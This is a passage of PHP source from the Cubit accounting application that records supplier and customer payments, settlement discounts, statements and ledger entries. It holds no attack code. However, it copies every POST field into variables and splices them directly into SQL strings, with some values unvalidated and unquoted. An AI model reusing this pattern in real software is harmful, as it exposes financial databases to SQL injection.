        $sql = "\n\t\t\tINSERT INTO cashbook (\n\t\t\t\tbankid, trantype, date, name, \n\t\t\t\tdescript, cheqnum, amount, banked, accinv, \n\t\t\t\tsupid, ids, purids, pamounts, pdates, reference, \n\t\t\t\tdiv\n\t\t\t) VALUES (\n\t\t\t\t'{$bankid}', 'withdrawal', '{$sdate}', '{$sup['supno']} - {$sup['supname']}', \n\t\t\t\t'Supplier Payment to {$sup['supname']}', '{$cheqnum}', '" . sprint($amt + $overpay) . "', 'no', '{$dept['credacc']}', \n\t\t\t\t'{$sup['supid']}', '{$ids}', '{$purids}', '{$pamounts}', '{$pdates}', '{$reference}', \n\t\t\t\t'" . USER_DIV . "'\n\t\t\t)";
        $Rslt = db_exec($sql) or errDie("Unable to add bank payment to database.", SELF);
        writetrans($dept['credacc'], $link['accnum'], $accdate, $refnum, sprint($amt + $overpay), "Supplier Payment to {$sup['supname']}");
        db_conn('cubit');
    }
    #do journal for the settlement discount here ... now ...
    if ($setamt > 0) {
        db_conn('core');
        #get settlement accid
        $get_setacc = "SELECT accid FROM accounts WHERE accname = 'Creditors Settlement Discount'";
        $run_setacc = db_exec($get_setacc) or errDie("Unable to get settlement account information");
        $setaccid = pg_fetch_result($run_setacc, 0, 0);
        #calculate the settlement vat ... and amt
        if (isset($setvat) and $setvat == 'inc') {
            db_connect();
            $get_vcode = "SELECT * FROM vatcodes WHERE id = '{$setvatcode}' LIMIT 1";
            $run_vcode = db_exec($get_vcode) or errDie("Unable to get vatcode informtion.");
            if (pg_numrows($run_vcode) < 1) {
                return "<li class='err'>Settlement Discount VAT Code Not Set.</li>";
            }
            $vd = pg_fetch_array($run_vcode);
            #vat inc ... recalculate the amts
            $setvatamt = sprint($setamt * ($vd['vat_amount'] / (100 + $vd['vat_amount'])));
            $setamt = sprint($setamt - $setvatamt);
            $vatacc = gethook("accnum", "salesacc", "name", "VAT", "VAT");
            #process the vat amt ...
            writetrans($dept['credacc'], $vatacc, $accdate, $refnum, $setvatamt, "VAT Received on Settlement Discount for Supplier : {$sup['supname']}");
            vatr($vd['id'], $accdate, "INPUT", $vd['code'], $refnum, "VAT for Settlement Discount for Supplier : {$sup['supname']}", $setamt + $setvatamt, $setvatamt);
        } else {
            #no vat for set amt ... do nothing
            $setvatamt = 0;
        }
        writetrans($dept['credacc'], $setaccid, $accdate, $refnum, $setamt, "Settlement Discount For {$sup['supname']}");
        db_connect();
        $Sl = "\n\t\t\t\tINSERT INTO sup_stmnt (\n\t\t\t\t\tsupid, amount, edate, \n\t\t\t\t\tdescript, ref, cacc, div\n\t\t\t\t) VALUES (\n\t\t\t\t\t'{$sup['supid']}', '" . sprint($setamt - $setamt * 2) . "', '{$sdate}', \n\t\t\t\t\t'Settlement Discount','{$cheqnum}','{$bank['accnum']}', '" . USER_DIV . "'\n\t\t\t\t)";
        //		$Rs = db_exec($Sl) or errDie("Unable to insert statement record in Cubit.",SELF);
        #record this paid settlement discount for reporting ...
        $settl_sql = "\n\t\t\t\t\tINSERT INTO settlement_sup (\n\t\t\t\t\t\tsupplier, amt, setamt, setvatamt, setvat, \n\t\t\t\t\t\tsetvatcode, tdate, sdate, refnum\n\t\t\t\t\t) VALUES (\n\t\t\t\t\t\t'{$sup['supid']}', '{$amt}', '{$setamt}', '{$setvatamt}', '{$setvat}', \n\t\t\t\t\t\t'{$setvatcode}', '{$accdate}','now','{$refnum}'\n\t\t\t\t\t)";
        $run_settl = db_exec($settl_sql) or errDie("Unable to get debtor settlement information.");
    }
    db_conn('cubit');
    $Sl = "DELETE FROM suppurch WHERE balance=0::numeric(13,2)";
    $Rx = db_exec($Sl);
    #check if date setting is in db ...
    $checkdate = getCSetting("SUPP_PAY_DATE");
    if (!isset($checkdate) or strlen($checkdate) < 1) {
        #no date ... insert
        $ins_sql = "\n\t\t\t\t\tINSERT INTO settings (\n\t\t\t\t\t\tconstant, label, value, type, \n\t\t\t\t\t\tdatatype, minlen, maxlen, div, readonly\n\t\t\t\t\t) VALUES (\n\t\t\t\t\t\t'SUPP_PAY_DATE', 'Last Supplier Payment Date Used', '{$date}', 'general', \n\t\t\t\t\t\t'string', '10', '10', '0', 'n'\n\t\t\t\t\t);\n\t\t\t\t\t";
        $run_ins = db_exec($ins_sql) or errDie("Unable to record supplier payment date information.");
    } else {
        $upd_sql = "UPDATE settings SET value = '{$date}' WHERE constant = 'SUPP_PAY_DATE'";
        $run_upd = db_exec($upd_sql) or errDie("Unable to update supplier payment date setting.");
    }
    pglib_transaction("COMMIT");
}
function write($_POST)
{
    # get vars
    foreach ($_POST as $key => $value) {
        ${$key} = $value;
    }
    if (isset($back)) {
        unset($_POST["back"]);
        return alloc($_POST);
    }
    # validate input
    require_lib("validate");
    $v = new validate();
    $v->isOk($all, "num", 1, 1, "Invalid allocation.");
    $v->isOk($bankid, "num", 1, 30, "Invalid Bank Account.");
    $v->isOk($date, "date", 1, 14, "Invalid Date.");
    $v->isOk($out, "float", 1, 10, "Invalid out amount.");
    $v->isOk($descript, "string", 0, 255, "Invalid Description.");
    $v->isOk($cheqnum, "num", 0, 30, "Invalid Cheque number.");
    $v->isOk($amt, "float", 1, 10, "Invalid amount.");
    $v->isOk($cusid, "num", 1, 10, "Invalid customer number.");
    $v->isOk($out1, "float", 0, 10, "Invalid paid amount(currant).");
    $v->isOk($out2, "float", 0, 10, "Invalid paid amount(30).");
    $v->isOk($out3, "float", 0, 10, "Invalid paid amount(60).");
    $v->isOk($out4, "float", 0, 10, "Invalid paid amount(90).");
    $v->isOk($out5, "float", 0, 10, "Invalid paid amount(120).");
    if (isset($invids)) {
        foreach ($invids as $key => $value) {
            $v->isOk($invids[$key], "num", 1, 50, "Invalid Invoice No.");
            $v->isOk($paidamt[$key], "float", 1, 20, "Invalid amount to be paid.");
        }
    }
    # display errors, if any
    if ($v->isError()) {
        $confirm = "";
        $errors = $v->getErrors();
        foreach ($errors as $e) {
            $confirm .= "<li class=err>" . $e["msg"];
        }
        $confirm .= "<p><input type=button onClick='JavaScript:history.back();' value='&laquo; Correct submission'>";
        return $confirm;
    }
    pglib_transaction("BEGIN") or errDie("Unable to start a database transaction.", SELF);
    # get hook account number
    core_connect();
    $sql = "SELECT * FROM bankacc WHERE accid = '{$bankid}' AND div = '" . USER_DIV . "'";
    $rslt = db_exec($sql) or errDie("Unable to retrieve bank account link from Cubit", SELF);
    # check if link exists
    if (pg_numrows($rslt) < 1) {
        return "<li class=err> ERROR : The bank account that you selected doesn't appear to have an account linked to it.";
    }
    $bank = pg_fetch_array($rslt);
    db_connect();
    # Customer name
    $sql = "SELECT cusnum,deptid,cusname,surname FROM customers WHERE cusnum = '{$cusid}' AND div = '" . USER_DIV . "'";
    $cusRslt = db_exec($sql);
    $cus = pg_fetch_array($cusRslt);
    db_conn("exten");
    # get debtors control account
    $sql = "SELECT debtacc FROM departments WHERE deptid ='{$cus['deptid']}' AND div = '" . USER_DIV . "'";
    $deptRslt = db_exec($sql);
    $dept = pg_fetch_array($deptRslt);
    # date format
    $sdate = explode("-", $date);
    $sdate = $sdate[2] . "-" . $sdate[1] . "-" . $sdate[0];
    $cheqnum = 0 + $cheqnum;
    $pay = "";
    $accdate = $sdate;
    # Paid invoices
    $invidsers = "";
    $rinvids = "";
    $amounts = "";
    $invprds = "";
    $rages = "";
    db_connect();
    if ($all == 0) {
        # Begin updates
        # pglib_transaction ("BEGIN") or errDie("Unable to start a database transaction.",SELF);
        # update the customer (make balance less)
        $sql = "UPDATE customers SET balance = (balance - '{$amt}'::numeric(13,2)) WHERE cusnum = '{$cus['cusnum']}' AND div = '" . USER_DIV . "'";
        $rslt = db_exec($sql) or errDie("Unable to update invoice in Cubit.", SELF);
        if (isset($invids)) {
            foreach ($invids as $key => $value) {
                $ii = $invids[$key];
                if (!isset($itype[$ii])) {
                    # Get debt invoice info
                    $sql = "SELECT prd,invnum FROM invoices WHERE invid ='{$invids[$key]}' AND div = '" . USER_DIV . "'";
                    $invRslt = db_exec($sql) or errDie("Unable to retrieve invoice details from database.");
                    if (pg_numrows($invRslt) < 1) {
                        return "<li class=err>Invalid Invoice Number.";
                    }
                    $inv = pg_fetch_array($invRslt);
                    # reduce the money that has been paid
                    $sql = "UPDATE invoices SET balance = (balance - {$paidamt[$key]}::numeric(13,2)) WHERE invid = '{$invids[$key]}' AND div = '" . USER_DIV . "'";
                    $payRslt = db_exec($sql) or errDie("Unable to update Invoice information in Cubit.", SELF);
                    $sql = "UPDATE  open_stmnt SET balance = (balance - {$paidamt[$key]}::numeric(13,2)) WHERE invid = '{$inv['invnum']}' AND div = '" . USER_DIV . "'";
                    $payRslt = db_exec($sql) or errDie("Unable to update Invoice information in Cubit.", SELF);
                    $inv['invnum'] += 0;
                    # record the payment on the statement
                    $sql = "INSERT INTO stmnt(cusnum, invid, amount, date, type, div) VALUES('{$cus['cusnum']}','{$inv['invnum']}','" . ($paidamt[$key] - $paidamt[$key] * 2) . "','{$sdate}', 'Payment for Invoice No. {$inv['invnum']}', '" . USER_DIV . "')";
                    $stmntRslt = db_exec($sql) or errDie("Unable to insert statement record in Cubit.", SELF);
                    custledger($cus['cusnum'], $bank['accnum'], $sdate, $inv['invnum'], "Payment for Invoice No. {$inv['invnum']}", $paidamt[$key], "c");
                    db_connect();
                    $rinvids .= "|{$invids[$key]}";
                    $amounts .= "|{$paidamt[$key]}";
                    if ($inv['prd'] == 0) {
                        $inv['prd'] = PRD_DB;
                    }
                    $invprds .= "|{$inv['prd']}";
                    $rages .= "|0";
                    $invidsers .= " - {$inv['invnum']}";
                } else {
                    # Get debt invoice info
                    $sql = "SELECT prd,invnum,descrip,age FROM nons_invoices WHERE invid ='{$invids[$key]}' AND div = '" . USER_DIV . "'";
                    $invRslt = db_exec($sql) or errDie("Unable to retrieve invoice details from database.");
                    if (pg_numrows($invRslt) < 1) {
                        return "<li class=err>Invalid Invoice Number.";
                    }
                    $inv = pg_fetch_array($invRslt);
                    # reduce the money that has been paid
                    $sql = "UPDATE nons_invoices SET balance = (balance - {$paidamt[$key]}::numeric(13,2)) WHERE invid = '{$invids[$key]}' AND div = '" . USER_DIV . "'";
                    $payRslt = db_exec($sql) or errDie("Unable to update Invoice information in Cubit.", SELF);
                    $sql = "UPDATE  open_stmnt SET balance = (balance - {$paidamt[$key]}::numeric(13,2)) WHERE invid = '{$inv['invnum']}' AND div = '" . USER_DIV . "'";
                    $payRslt = db_exec($sql) or errDie("Unable to update Invoice information in Cubit.", SELF);
                    $inv['invnum'] += 0;
                    # record the payment on the statement
                    $sql = "INSERT INTO stmnt(cusnum, invid, amount, date, type, div) VALUES('{$cus['cusnum']}','{$inv['invnum']}','" . ($paidamt[$key] - $paidamt[$key] * 2) . "','{$sdate}', 'Payment for Non Stock Invoice No. {$inv['invnum']} - {$inv['descrip']}', '" . USER_DIV . "')";
                    $stmntRslt = db_exec($sql) or errDie("Unable to insert statement record in Cubit.", SELF);
                    custledger($cus['cusnum'], $bank['accnum'], $sdate, $inv['invnum'], "Payment for Non Stock Invoice No. {$inv['invnum']} - {$inv['descrip']}", $paidamt[$key], "c");
                    db_connect();
                    recordCT($paidamt[$key], $cus['cusnum'], $inv['age'], $accdate);
                    $rinvids .= "|{$invids[$key]}";
                    $amounts .= "|{$paidamt[$key]}";
                    $invprds .= "|0";
                    $rages .= "|{$inv['age']}";
                    $invidsers .= " - {$inv['invnum']}";
                }
            }
        }
        # record the payment record
        $sql = "INSERT INTO cashbook(bankid, trantype, date, name, descript, cheqnum, amount, banked, accinv, cusnum, rinvids, amounts, invprds, rages, div) VALUES ('{$bankid}', 'deposit', '{$sdate}', '{$cus['cusname']} {$cus['surname']}', 'Payment for Invoices {$invidsers} from customer {$cus['cusname']} {$cus['surname']}', '{$cheqnum}', '{$amt}', 'no', '{$dept['debtacc']}', '{$cus['cusnum']}', '{$rinvids}', '{$amounts}', '{$invprds}', '{$rages}', '" . USER_DIV . "')";
        $Rslt = db_exec($sql) or errDie("Unable to add bank payment to database.", SELF);
        $refnum = getrefnum($accdate);
        db_conn('core');
        $Sl = "SELECT * FROM bankacc WHERE accid='{$bankid}'";
        $Rx = db_exec($Sl) or errDie("Uanble to get bank acc.");
        if (pg_numrows($Rx) < 1) {
            return "Invalid bank acc.";
        }
        $link = pg_fetch_array($Rx);
        writetrans($link['accnum'], $dept['debtacc'], $accdate, $refnum, $amt, "Payment for Invoices {$invidsers} from customer {$cus['cusname']} {$cus['surname']}");
        db_conn('cubit');
        if ($out > 0) {
            /* START OPEN ITEMS */
            $ox = "";
            db_conn('cubit');
            $Sl = "SELECT * FROM open_stmnt WHERE balance>0 AND cusnum='{$cusid}' ORDER BY date";
            $Ri = db_exec($Sl) or errDie("Unable to get open items.");
            $open_out = $out;
            $i = 0;
            while ($od = pg_fetch_array($Ri)) {
                if ($open_out == 0) {
                    continue;
                }
                $oid = $od['id'];
                if ($open_out >= $od['balance']) {
                    $open_amount[$oid] = $od['balance'];
                    $open_out = sprint($open_out - $od['balance']);
                    $ox .= "<tr class='" . bg_class() . "'><td><input type=hidden size=20 name=open[{$oid}] value='{$oid}'>{$od['type']}</td>\n\t\t\t\t\t\t<td>" . CUR . " {$od['balance']}</td><td>{$od['date']}</td><td><input type=hidden name='open_amount[{$oid}]' value='{$open_amount[$oid]}'>\n\t\t\t\t\t\t" . CUR . " {$open_amount[$oid]}</td></tr>";
                    $Sl = "UPDATE open_stmnt SET balance=balance-'{$open_amount[$oid]}' WHERE id='{$oid}'";
                    $Ri = db_exec($Sl) or errDie("Unable to update statement.");
                } elseif ($open_out < $od['balance']) {
                    $open_amount[$oid] = $open_out;
                    $open_out = 0;
                    $ox .= "<tr class='" . bg_class() . "'><td><input type=hidden size=20 name=open[{$oid}] value='{$od['id']}'>{$od['type']}</td>\n\t\t\t\t\t\t<td>" . CUR . " {$od['balance']}</td><td>{$od['date']}</td><td><input type=hidden name='open_amount[{$oid}]' value='{$open_amount[$oid]}'>\n\t\t\t\t\t\t" . CUR . " {$open_amount[$oid]}</td></tr>";
                    $Sl = "UPDATE open_stmnt SET balance=balance-'{$open_amount[$oid]}' WHERE id='{$oid}'";
                    $Ri = db_exec($Sl) or errDie("Unable to update statement.");
                }
                $i++;
            }
            if (open()) {
                // 					$confirm .= "<tr><td colspan=2><br></td></tr>
                // 					<tr><td colspan=2><h3>Outstanding Transactions</h3></td></tr>
                // 					<tr><th>Description</th><th>Outstanding Amount</th><th>Date</th><th>Amount</th></tr>";
                //$confirm.=$ox;
                $bout = $out;
                $out = $open_out;
                if ($out > 0) {
                    $sql = "INSERT INTO open_stmnt(cusnum, invid, amount, balance, date, type, st, div) VALUES('{$cus['cusnum']}', '0', '-{$out}', '-{$out}', '{$sdate}', 'Payment Received', 'n', '" . USER_DIV . "')";
                    $stmntRslt = db_exec($sql) or errDie("Unable to Insert statement record in Cubit.", SELF);
                    //$confirm .="<tr class='bg-even'><td colspan=4><b>A general transaction will credit the client's account with ".CUR." $out </b></td></tr>";
                }
                $out = $bout;
            } else {
                //$confirm .="<tr class='bg-even'><td colspan=4><b>A general transaction will credit the client's account with ".CUR." $out </b></td></tr>";}
            }
        }
        if ($out > 0) {
            recordCT($out, $cus['cusnum'], 0, $accdate);
            $Sl = "INSERT INTO stmnt(cusnum, invid, amount, date, type, div) VALUES('{$cus['cusnum']}','0','" . $out * -1 . "','{$sdate}', 'Payment Received.', '" . USER_DIV . "')";
            $Rs = db_exec($Sl) or errDie("Unable to insert statement record in Cubit.", SELF);
            custledger($cus['cusnum'], $bank['accnum'], $sdate, "PAYMENT", "Payment received.", $out, "c");
            db_connect();
        }
        # Commit updates
        # pglib_transaction ("COMMIT") or errDie("Unable to commit a database transaction.",SELF);
    }
    db_connect();
    if ($all == 1) {
        # Begin updates
        # pglib_transaction ("BEGIN") or errDie("Unable to start a database transaction.",SELF);
        # update the customer (make balance less)
        $sql = "UPDATE customers SET balance = (balance - '{$amt}'::numeric(13,2)) WHERE cusnum = '{$cus['cusnum']}' AND div = '" . USER_DIV . "'";
        $rslt = db_exec($sql) or errDie("Unable to update invoice in Cubit.", SELF);
        if (isset($invids)) {
            foreach ($invids as $key => $value) {
                $ii = $invids[$key];
                if (!isset($itype[$ii])) {
                    # Get debt invoice info
                    $sql = "SELECT prd,invnum FROM invoices WHERE invid ='{$invids[$key]}' AND div = '" . USER_DIV . "'";
                    $invRslt = db_exec($sql) or errDie("Unable to retrieve invoice details from database.");
                    if (pg_numrows($invRslt) < 1) {
                        return "<li class=err>Invalid Invoice Number.";
                    }
                    $inv = pg_fetch_array($invRslt);
                    # reduce the money that has been paid
                    $sql = "UPDATE invoices SET balance = (balance - {$paidamt[$key]}::numeric(13,2)) WHERE invid = '{$invids[$key]}' AND div = '" . USER_DIV . "'";
                    $payRslt = db_exec($sql) or errDie("Unable to update Invoice information in Cubit.", SELF);
                    $sql = "UPDATE  open_stmnt SET balance = (balance - {$paidamt[$key]}::numeric(13,2)) WHERE invid = '{$inv['invnum']}' AND div = '" . USER_DIV . "'";
                    $payRslt = db_exec($sql) or errDie("Unable to update Invoice information in Cubit.", SELF);
                    $inv['invnum'] += 0;
                    # record the payment on the statement
                    $sql = "INSERT INTO stmnt(cusnum, invid, amount, date, type, div) VALUES('{$cus['cusnum']}','{$inv['invnum']}','" . ($paidamt[$key] - $paidamt[$key] * 2) . "','{$sdate}', 'Payment for Invoice No. {$inv['invnum']}', '" . USER_DIV . "')";
                    $stmntRslt = db_exec($sql) or errDie("Unable to insert statement record in Cubit.", SELF);
                    custledger($cus['cusnum'], $bank['accnum'], $sdate, $inv['invnum'], "Payment for Invoice No. {$inv['invnum']}", $paidamt[$key], "c");
                    db_connect();
                    $rinvids .= "|{$invids[$key]}";
                    $amounts .= "|{$paidamt[$key]}";
                    if ($inv['prd'] == 0) {
                        $inv['prd'] = PRD_DB;
                    }
                    $invprds .= "|{$inv['prd']}";
                    $rages .= "|0";
                    $invidsers .= " - {$inv['invnum']}";
                } else {
                    # Get debt invoice info
                    $sql = "SELECT prd,invnum,descrip,age FROM nons_invoices WHERE invid ='{$invids[$key]}' AND div = '" . USER_DIV . "'";
                    $invRslt = db_exec($sql) or errDie("Unable to retrieve invoice details from database.");
                    if (pg_numrows($invRslt) < 1) {
                        return "<li class=err>Invalid Invoice Number.";
                    }
                    $inv = pg_fetch_array($invRslt);
                    # reduce the money that has been paid
                    $sql = "UPDATE nons_invoices SET balance = (balance - {$paidamt[$key]}::numeric(13,2)) WHERE invid = '{$invids[$key]}' AND div = '" . USER_DIV . "'";
                    $payRslt = db_exec($sql) or errDie("Unable to update Invoice information in Cubit.", SELF);
                    $inv['invnum'] += 0;
                    # record the payment on the statement
                    $sql = "INSERT INTO stmnt(cusnum, invid, amount, date, type, div) VALUES('{$cus['cusnum']}','{$inv['invnum']}','" . ($paidamt[$key] - $paidamt[$key] * 2) . "','{$sdate}', 'Payment for Non Stock Invoice No. {$inv['invnum']} - {$inv['descrip']}', '" . USER_DIV . "')";
                    $stmntRslt = db_exec($sql) or errDie("Unable to insert statement record in Cubit.", SELF);
                    $sql = "UPDATE  open_stmnt SET balance = (balance - {$paidamt[$key]}::numeric(13,2)) WHERE invid = '{$inv['invnum']}' AND div = '" . USER_DIV . "'";
                    $payRslt = db_exec($sql) or errDie("Unable to update Invoice information in Cubit.", SELF);
                    custledger($cus['cusnum'], $bank['accnum'], $sdate, $inv['invnum'], "Payment for Non Stock Invoice No. {$inv['invnum']} - {$inv['descrip']}", $paidamt[$key], "c");
                    db_connect();
                    recordCT($paidamt[$key], $cus['cusnum'], $inv['age'], $accdate);
                    $rinvids .= "|{$invids[$key]}";
                    $amounts .= "|{$paidamt[$key]}";
                    $invprds .= "|0";
                    $rages .= "|{$inv['age']}";
                    $invidsers .= " - {$inv['invnum']}";
                }
            }
        }
        # record the payment record
        $sql = "INSERT INTO cashbook(bankid, trantype, date, name, descript, cheqnum, amount, banked, accinv, cusnum, rinvids, amounts, invprds, rages, div) VALUES ('{$bankid}', 'deposit', '{$sdate}', '{$cus['cusname']} {$cus['surname']}', 'Payment for Invoices {$invidsers} from customer {$cus['cusname']} {$cus['surname']}', '{$cheqnum}', '{$amt}', 'no', '{$dept['debtacc']}', '{$cus['cusnum']}', '{$rinvids}', '{$amounts}', '{$invprds}', '{$rages}', '" . USER_DIV . "')";
        $Rslt = db_exec($sql) or errDie("Unable to add bank payment to database.", SELF);
        $refnum = getrefnum($accdate);
        db_conn('core');
        $Sl = "SELECT * FROM bankacc WHERE accid='{$bankid}'";
        $Rx = db_exec($Sl) or errDie("Uanble to get bank acc.");
        if (pg_numrows($Rx) < 1) {
            return "Invalid bank acc.";
        }
        $link = pg_fetch_array($Rx);
        writetrans($link['accnum'], $dept['debtacc'], $accdate, $refnum, $amt, "Payment for Invoices {$invidsers} from customer {$cus['cusname']} {$cus['surname']}");
        db_conn('cubit');
        if ($out1 + $out2 + $out3 + $out4 + $out5 > 0) {
            $Sl = "INSERT INTO stmnt(cusnum, invid, amount, date, type, div) VALUES('{$cus['cusnum']}','0','" . ($out1 + $out2 + $out3 + $out4 + $out5) * -1 . "','{$sdate}', 'Payment Received.', '" . USER_DIV . "')";
            $Rs = db_exec($Sl) or errDie("Unable to insert statement record in Cubit.", SELF);
            custledger($cus['cusnum'], $bank['accnum'], $sdate, "PAYMENT", "Payment received.", $out1 + $out2 + $out3 + $out4 + $out5, "c");
            db_connect();
        }
        if ($out1 > 0) {
            recordCT($out1, $cus['cusnum'], 0, $accdate);
        }
        if ($out2 > 0) {
            recordCT($out2, $cus['cusnum'], 1, $accdate);
        }
        if ($out3 > 0) {
            recordCT($out3, $cus['cusnum'], 2, $accdate);
        }
        if ($out4 > 0) {
            recordCT($out4, $cus['cusnum'], 3, $accdate);
        }
        if ($out5 > 0) {
            recordCT($out5, $cus['cusnum'], 4, $accdate);
        }
        # Commit updates
        # pglib_transaction ("COMMIT") or errDie("Unable to commit a database transaction.",SELF);
    }
    if ($all == 2) {
        # Begin updates
        //pglib_transaction ("BEGIN") or errDie("Unable to start a database transaction.",SELF);
        # update the customer (make balance less)
        $sql = "UPDATE customers SET balance = (balance - '{$amt}'::numeric(13,2)) WHERE cusnum = '{$cus['cusnum']}' AND div = '" . USER_DIV . "'";
        $rslt = db_exec($sql) or errDie("Unable to update invoice in Cubit.", SELF);
        # Debtors
        foreach ($invids as $key => $value) {
            $ii = $invids[$key];
            if (!isset($itype[$ii])) {
                # Get debt invoice info
                $sql = "SELECT prd,invnum FROM invoices WHERE invid ='{$invids[$key]}' AND div = '" . USER_DIV . "'";
                $invRslt = db_exec($sql) or errDie("Unable to retrieve invoice details from database.");
                if (pg_numrows($invRslt) < 1) {
                    return "<li class=err>Invalid Invoice Number.";
                }
                $inv = pg_fetch_array($invRslt);
                # reduce the money that has been paid
                $sql = "UPDATE invoices SET balance = (balance - {$paidamt[$key]}::numeric(13,2)) WHERE invid = '{$invids[$key]}' AND div = '" . USER_DIV . "'";
                $payRslt = db_exec($sql) or errDie("Unable to update Invoice information in Cubit.", SELF);
                $sql = "UPDATE  open_stmnt SET balance = (balance - {$paidamt[$key]}::numeric(13,2)) WHERE invid = '{$inv['invnum']}' AND div = '" . USER_DIV . "'";
                $payRslt = db_exec($sql) or errDie("Unable to update Invoice information in Cubit.", SELF);
                # record the payment on the statement
                $sql = "INSERT INTO stmnt(cusnum, invid, amount, date, type, div) VALUES('{$cus['cusnum']}','{$inv['invnum']}','" . ($paidamt[$key] - $paidamt[$key] * 2) . "','{$sdate}', 'Payment for Invoice No. {$inv['invnum']}', '" . USER_DIV . "')";
                $stmntRslt = db_exec($sql) or errDie("Unable to insert statement record in Cubit.", SELF);
                custledger($cus['cusnum'], $bank['accnum'], $sdate, $inv['invnum'], "Payment for Invoice No. {$inv['invnum']}", $paidamt[$key], "c");
                db_connect();
                $rinvids .= "|{$invids[$key]}";
                $amounts .= "|{$paidamt[$key]}";
                if ($inv['prd'] == 0) {
                    $inv['prd'] = PRD_DB;
                }
                $invprds .= "|{$inv['prd']}";
                $rages .= "|0";
                $invidsers .= " - {$inv['invnum']}";
            } else {
                # Get debt invoice info
                $sql = "SELECT prd,invnum,descrip,age FROM nons_invoices WHERE invid ='{$invids[$key]}' AND div = '" . USER_DIV . "'";
                $invRslt = db_exec($sql) or errDie("Unable to retrieve invoice details from database.");
                if (pg_numrows($invRslt) < 1) {
                    return "<li class=err>Invalid Invoice Number.";
                }
                $inv = pg_fetch_array($invRslt);
                # reduce the money that has been paid
                $sql = "UPDATE nons_invoices SET balance = (balance - {$paidamt[$key]}::numeric(13,2)) WHERE invid = '{$invids[$key]}' AND div = '" . USER_DIV . "'";
                $payRslt = db_exec($sql) or errDie("Unable to update Invoice information in Cubit.", SELF);
                $sql = "UPDATE  open_stmnt SET balance = (balance - {$paidamt[$key]}::numeric(13,2)) WHERE invid = '{$inv['invnum']}' AND div = '" . USER_DIV . "'";
                $payRslt = db_exec($sql) or errDie("Unable to update Invoice information in Cubit.", SELF);
                # record the payment on the statement
                $sql = "INSERT INTO stmnt(cusnum, invid, amount, date, type, div) VALUES('{$cus['cusnum']}','{$inv['invnum']}','" . ($paidamt[$key] - $paidamt[$key] * 2) . "','{$sdate}', 'Payment for Non Stock Invoice No. {$inv['invnum']} - {$inv['descrip']}', '" . USER_DIV . "')";
                $stmntRslt = db_exec($sql) or errDie("Unable to insert statement record in Cubit.", SELF);
                custledger($cus['cusnum'], $bank['accnum'], $sdate, $inv['invnum'], "Payment for Non Stock Invoice No. {$inv['invnum']} - {$inv['descrip']}", $paidamt[$key], "c");
                db_connect();
                recordCT($paidamt[$key], $cus['cusnum'], $inv['age'], $accdate);
                $rinvids .= "|{$invids[$key]}";
                $amounts .= "|{$paidamt[$key]}";
                $invprds .= "|0";
                $rages .= "|{$inv['age']}";
                $invidsers .= " - {$inv['invnum']}";
            }
        }
        if (open()) {
            db_conn('cubit');
            $Sl = "SELECT * FROM open_stmnt WHERE balance>0 AND cusnum='{$cusid}' ORDER BY date";
            $Ri = db_exec($Sl) or errDie("Unable to get open items.");
            //$open_out=$out;
            $ox = "";
            $i = 0;
            while ($od = pg_fetch_array($Ri)) {
                $oid = $od['id'];
                if ($open_amount[$oid] == 0) {
                    continue;
                }
                $ox .= "<tr class='" . bg_class() . "'><td><input type=hidden size=20 name=open[{$oid}] value='{$oid}'>{$od['type']}</td>\n\t\t\t\t\t<td>" . CUR . " {$od['balance']}</td><td>{$od['date']}</td><td><input type=hidden name='open_amount[{$oid}]' value='{$open_amount[$oid]}'>\n\t\t\t\t\t" . CUR . " {$open_amount[$oid]}</td></tr>";
                $i++;
                $sql = "UPDATE  open_stmnt SET balance = (balance - {$open_amount[$oid]} ::numeric(13,2)) WHERE id = '{$oid}' AND div = '" . USER_DIV . "'";
                $payRslt = db_exec($sql) or errDie("Unable to update Invoice information in Cubit.", SELF);
                # record the payment on the statement
                $sql = "INSERT INTO stmnt(cusnum, invid, amount, date, type, div) VALUES('{$cus['cusnum']}','0','" . -$open_amount[$oid] . "','{$sdate}', 'Payment received', '" . USER_DIV . "')";
                $stmntRslt = db_exec($sql) or errDie("Unable to insert statement record in Cubit.", SELF);
                custledger($cus['cusnum'], $bank['accnum'], $sdate, 0, "Payment received", $open_amount[$oid], "c");
                db_connect();
                recordCT($open_amount[$oid], $cus['cusnum'], 0, $accdate);
            }
        }
        # record the payment record
        $sql = "INSERT INTO cashbook(bankid, trantype, date, name, descript, cheqnum, amount, banked, accinv, cusnum, rinvids, amounts, invprds, rages, div) VALUES ('{$bankid}', 'deposit', '{$sdate}', '{$cus['cusname']} {$cus['surname']}', 'Payment for Invoices {$invidsers} from customer {$cus['cusname']} {$cus['surname']}', '{$cheqnum}', '{$amt}', 'no', '{$dept['debtacc']}', '{$cus['cusnum']}', '{$rinvids}', '{$amounts}', '{$invprds}', '{$rages}', '" . USER_DIV . "')";
        $Rslt = db_exec($sql) or errDie("Unable to add bank payment to database.", SELF);
        $refnum = getrefnum($accdate);
        db_conn('core');
        $Sl = "SELECT * FROM bankacc WHERE accid='{$bankid}'";
        $Rx = db_exec($Sl) or errDie("Uanble to get bank acc.");
        if (pg_numrows($Rx) < 1) {
            return "Invalid bank acc.";
        }
        $link = pg_fetch_array($Rx);
        writetrans($link['accnum'], $dept['debtacc'], $accdate, $refnum, $amt, "Payment for Invoices {$invidsers} from customer {$cus['cusname']} {$cus['surname']}");
        # Commit updates
        //pglib_transaction ("COMMIT") or errDie("Unable to commit a database transaction.",SELF);
    }
    db_conn('cubit');
    /* start moving invoices */
    # move invoices that are fully paid
    $sql = "SELECT * FROM invoices WHERE balance = 0 AND printed = 'y' AND done = 'y' AND div = '" . USER_DIV . "'";
    $invbRslt = db_exec($sql) or errDie("Unable to update Invoice information in Cubit.", SELF);
    while ($invb = pg_fetch_array($invbRslt)) {
        if ($invb['prd'] == 0) {
            $invb['prd'] = PRD_DB;
        }
        db_conn($invb['prd']);
        # Insert invoice to period DB
        $sql = "INSERT INTO invoices(invid,invnum, deptid, cusnum, deptname, cusacc, cusname, surname, cusaddr, cusvatno, cordno, ordno, chrgvat, terms, traddisc, salespn, odate, delchrg, subtot, vat, total, balance, age, comm, discount, delivery, printed, done, username, docref, div,prd,delvat)";
